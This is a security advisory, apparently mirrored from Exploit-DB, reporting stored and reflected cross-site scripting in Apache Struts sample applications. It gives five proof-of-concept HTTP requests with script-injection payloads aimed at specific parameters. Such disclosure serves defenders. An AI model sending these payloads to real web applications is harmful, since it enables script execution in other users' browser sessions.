Lucene search
+L

Apache Struts - Multiple Persistent Cross-Site Scripting Vulnerabilities

🗓️ 02 Feb 2012 00:00:00Reported by SecPod ResearchType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 43 Views

Apache Struts Multiple Persistent Cross-Site Scripting Vulnerabilities. Input not properly verified before returning to user, leading to execute arbitrary HTML and script code in user's browser session in context of vulnerable site

Related
Code
ReporterTitlePublishedViews
Family
ibm
IBM Security Bulletins
Security Bulletin: Multiple security vulnerabilities has been identified in WebSphere Application Server shipped with IBM Tivoli System Automation Application Manager (CVE-2014-0114, CVE-2012-1007, CVE-2016-1182, CVE-2016-1181)
17 Jan 202317:35
ibm
ibm
IBM Security Bulletins
Security Bulletin: Multiple vulnerabilities in WebSphere Application Server affect IBM Rational products based on IBM Jazz technology
28 Apr 202118:35
ibm
ibm
IBM Security Bulletins
Security Bulletin: IBM Call Center and Apache Struts Struts upgrade strategy (various CVEs, see below)
14 Sep 202217:37
ibm
ibm
IBM Security Bulletins
Security Bulletin: Remediation of Multiple Apache Struts 1.3.10 Vulnerabilities in IBM Library Support for Struts
16 Jan 202609:28
ibm
ibm
IBM Security Bulletins
Security Bulletin: Multiple vulnerabilities in Apache Struts and Apache Commons that is used by WebSphere Application Server UDDI
19 Feb 201917:50
ibm
ibm
IBM Security Bulletins
Security Bulletin: Multiple vulnerabilities has been identified in IBM WebSphere Application Server shipped with IBM Case Manager (CVE-2014-0114, CVE-2016-1181, CVE-2016-1182, CVE-2012-1007)
10 Jul 201822:09
ibm
ibm
IBM Security Bulletins
WebSphere Application Server and IBM HTTP Server Security Bulletin List
13 Jul 202218:04
ibm
ibm
IBM Security Bulletins
Security Bulletin: IBM Sterling Order Management Apache Struts upgrade strategy (various CVEs, see below)
14 Sep 202217:45
ibm
ibm
IBM Security Bulletins
Security Bulletin: Multiple vulnerabilities in Apache Struts and Apache Commons that is used by WebSphere Application Server UDDI shipped with Jazz for Service Management
28 Nov 201811:00
ibm
ibm
IBM Security Bulletins
Security Bulletin: A security vulnerability has been identified in IBM WebSphere Application Server shipped with IBM Tivoli Security Policy Manager (CVE-2014-0114, CVE-2016-1181, CVE-2016-1182, CVE-2012-1007)
23 Jul 201806:08
ibm
Rows per page
##############################################################################
#
# Title    : Apache Struts Multiple Persistent Cross-Site Scripting Vulnerabilities
# Author   : Antu Sanadi SecPod Technologies (www.secpod.com)
# Vendor   : http://struts.apache.org/
# Advisory : http://secpod.org/blog/?p=450
#            http://secpod.org/advisories/SecPod_Apache_Struts_Multiple_Parsistant_XSS_Vulns.txt
# Software : Apache struts 1.3.10, 2.0.14 and 2.2.3
# Date     : 01/02/2012
#
##############################################################################

SecPod ID: 1021					21/07/2011 Issue Discovered
						03/08/2011 Vendor Notified
						No Response
						01/02/2012 Advisory Released

Class: Cross-Site Scripting (Persistence)	Severity: High


Overview:
---------
Apache Struts Multiple Persistence Cross-Site Scripting Vulnerabilities.


Technical Description:
----------------------
Multiple persistence Cross-Site Scripting vulnerabilities are present in
Apache Struts, as it fails to sanitise user-supplied input.

 i)   Input passed via the 'name' and 'lastName' parameter in
      '/struts2-showcase/person/editPerson.action' is not properly verified
      before it is returned to the user. This can be exploited to execute
      arbitrary HTML and script code in a user's browser session in the
      context of a vulnerable site.

 ii)  Input passed via the 'clientName' parameter in
      '/struts2-rest-showcase/orders' action is not properly verified before
      it is returned to the user. This can be exploited to execute arbitrary
      HTML and script code in a user's browser session in the context of a
      vulnerable site.

 iii) Input passed via the 'name' parameter in
      '/struts-examples/upload/upload-submit.do?queryParam=Successful' action
      is not properly verified  before it is returned to the user. This can be
      exploited to execute arbitrary HTML and script code in a user's browser
      session in the context of a vulnerable site.

 iV)  Input passed via the 'message' parameter in
      '/struts-cookbook/processSimple.do' action is not properly verified
      before it is returned to the user. This can be exploited to execute
      arbitrary HTML and script code in a user's browser session in the
      context of a vulnerable site.

 V)   Input passed via the 'message' parameter in
      '/struts-cookbook/processSimple.do' action is not properly verified
      before it is returned to the user. This can be exploited to execute
      arbitrary HTML and script code in a user's browser session in the
      context of a vulnerable site.

  These vulnerabilities have been tested on Apache Struts2 v2.2.3,
  Apache Struts2 v2.0.14 and Apache Struts v1.3.10.
  Other versions may also be affected.


Impact:
--------
Successful exploitation could allow an attacker to execute arbitrary HTML
code in a user's browser session in the context of a vulnerable application.


Affected Software:
------------------
Apache struts 2.2.3 and prior.

Tested on,
 i)   Apache struts 2.2.3 - Stored XSS
      - struts2-showcase-2.2.3
      - struts2-rest-showcase-2.2.3

 ii)  Apache struts 2.0.14 - Stored XSS
      - struts2-showcase-2.0.14

 iii) Apache struts 1.3.10 - Reflected XSS
      - struts-cookbook-1.3.10
      - struts-examples-1.3.10


References:
-----------
http://struts.apache.org
http://secpod.org/blog/?p=450


Proof of Concept:
-----------------

POC 1:
-----
Stored XSS

POST struts2-showcase/person/editPerson.action HTTP/1.1

Host: SERVER_IP:8080
User-Agent: struts2-showcase XSS-TEST
Content-Type: application/x-www-form-urlencoded
Content-Length: 192

Post Data:
----------
persons%281%29.name=%3Cscript%3Ealert%28%22SecPod-XSS-TEST%22%29%3C%2Fscript
%3E&persons%281%29.lastName=%3Cscript%3Ealert%28%22SecPod-XSS-TEST%22%29%3C%2
Fscript%3E&method%3Asave=Save+all+persons


POC 2:
-----
Stored XSS

POST /struts2-rest-showcase/orders HTTP/1.1

Host: SERVER_IP:8080
User-Agent: struts2-rest-showcase XSS-TEST
Content-Type: application/x-www-form-urlencoded
Content-Length: 78

Post Data:
----------
clientName=%3Cscript%3Ealert%28%22SecPod-XSS-TEST%22%29%3C%2Fscript%3E&amount=


POC 3:
-----
Reflected XSS

POST /struts-examples/upload/upload-submit.do?queryParam=Successful HTTP/1.1

Host: SERVER_IP:8080
User-Agent: Struts-examples XSS-TEST
Content-Type: multipart/form-data; boundary=---------------------------41701
161044225432961947041
Content-Length: 481

Post Data:
----------
-----------------------------41701161044225432961947041\r\n
Content-Disposition: form-data; name="theText"\r\n
\r\n
<script>alert("SecPod-XSS-TEST")</script>\r\n
-----------------------------41701161044225432961947041\r\n
Content-Disposition: form-data; name="theFile"; filename=""\r\n
Content-Type: application/octet-stream\r\n
\r\n
\r\n
-----------------------------41701161044225432961947041\r\n
Content-Disposition: form-data; name="filePath"\r\n
\r\n
\r\n
-----------------------------41701161044225432961947041--\r\n


POC 4:
-----
Reflected XSS

POST /struts-cookbook/processSimple.do HTTP/1.1

Host: SERVER_IP:8080
User-Agent:Struts-cookbook XSS-TEST
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

Post Data:
----------
name=XYZ&secret=XYZ&color=red&confirm=on&rating=1&message=%3Cscript%3Ealert
%28%22SecPod-XSS-TEST%22%29%3C%2Fscript%3E&


POC 5:
-----
Reflected XSS

POST /struts-cookbook/processDyna.do HTTP/1.1

Host: SERVER_IP:8080
User-Agent:Struts-cookbook XSS-TEST
Content-Type: application/x-www-form-urlencoded
Content-Length: 95

Post Data:
----------
name=ZYZ&secret=&color=red&message=%3Cscript%3Ealert%28%22SecPod-XSS-TEST
%22%29%3C%2Fscript%3E&


Solution:
---------
Fix not available


Risk Factor:
-------------
   CVSS Score Report:
        ACCESS_VECTOR          = NETWORK
        ACCESS_COMPLEXITY      = LOW
        AUTHENTICATION         = NONE
        CONFIDENTIALITY_IMPACT = PARTIAL
        INTEGRITY_IMPACT       = PARTIAL
        AVAILABILITY_IMPACT    = NONE
        EXPLOITABILITY         = PROOF_OF_CONCEPT
        REMEDIATION_LEVEL      = UNAVAILABLE
        REPORT_CONFIDENCE      = CONFIRMED
        CVSS Base Score        = 6.4 (High) (AV:N/AC:L/Au:N/C:N/I:P/A:N)

Credits:
--------
Antu Sanadi of SecPod Technologies has been credited with the discovery of this
vulnerability.

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation